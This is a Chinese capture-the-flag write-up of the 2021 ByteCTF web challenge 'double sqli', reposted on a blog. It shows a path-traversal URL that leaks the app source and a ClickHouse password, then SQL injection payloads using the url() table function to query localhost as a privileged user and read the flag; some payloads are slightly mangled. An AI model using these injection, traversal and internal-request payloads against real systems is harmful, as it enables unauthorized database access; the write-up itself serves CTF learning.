2021ByteCTF初赛web double sqli

2021ByteCTF初赛web double sqli,第1张

2021ByteCTF初赛web double sqli

题目啥都没说

在判断注入点是发现提示

something in files

猜测目录文件里有东西,我们尝试进入files

39.105.175.150:30001/files/

直接这样的话我们只能发现一个图片,经过尝试发现

http://39.105.175.150:30001/files../

这样可以实现路径穿越
经查找发现main.py源码,download下来

app = Flask(__name__)
client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')
@app.route('/')
def cttttf():
    id = request.args.get('id',0)
    sql = 'select ByteCTF from hello where 1={} '.format(id)
    try:
        a = client.execute(sql)
    except Exception as e:
        return str(e)
    if len(a) == 0:
        return 'something in files'
    else:
        return str(a)[3:-4]
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=80)
里面有个user用户和密码,推测需要在哪出要进行用户认证

然后在clickhouse里发现url函数

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

示例

获取一个表的前3行,该表是从HTTP服务器获取的包含 String 和 UInt32 类型的列,以CSV格式返回

SELECt * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32') LIMIT 3;

将 URL 的数据插入到表中

CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;
INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);
SELECt * FROM test_table;

结合之前拿到的user身份,我们可以用这个url函数
至于flag在哪个位置,还没找到环境就关了

在已知flag在ctf.flag的情况下我们继续

空格用过滤

id=1 union//all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECt//from//ctf.flag’, CSV, ‘column1 String’) LIMIT 1

看完wp后发现没我想的这麽简单

https://ma4ter.cn/2682.html

首先尝试找注入点发现错报,然后会发现一个名为clickhouse的数据库

然后去clickhouse的官方文档会发现默认数据库system

?id=1%20union%20all%20select%20name%20from%20system.databases

会发现有个名为ctf的数据库,接着我们查看表会发现有个hint的表,于是hint表在ctf库里面
但尝试读取ctf.hint发现没有限权

之后通过目录遍历漏洞在两个.sql文件后发现user_01

提示user_01有访问ctf库的限权,所以我们才会使用user_01的账户密码,之前复现的时候只找到了user_02的密码属实麻了

之后

就要考虑如何切换user_01的账户,就和之前复现的一样。我们会在文档里找到url函数,借此来进行切换用户

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;
INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);
SELECt * FROM test_table;

构造最终payload,假设ctf库中有flag,即ctf.flag

?id=1 unionall select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECt*fromctf.flag', CSV, 'column1 String')

#目录遍历

#url函数

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5571638.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-14
下一篇 2022-12-14

发表评论

登录后才能评论

评论列表(0条)

保存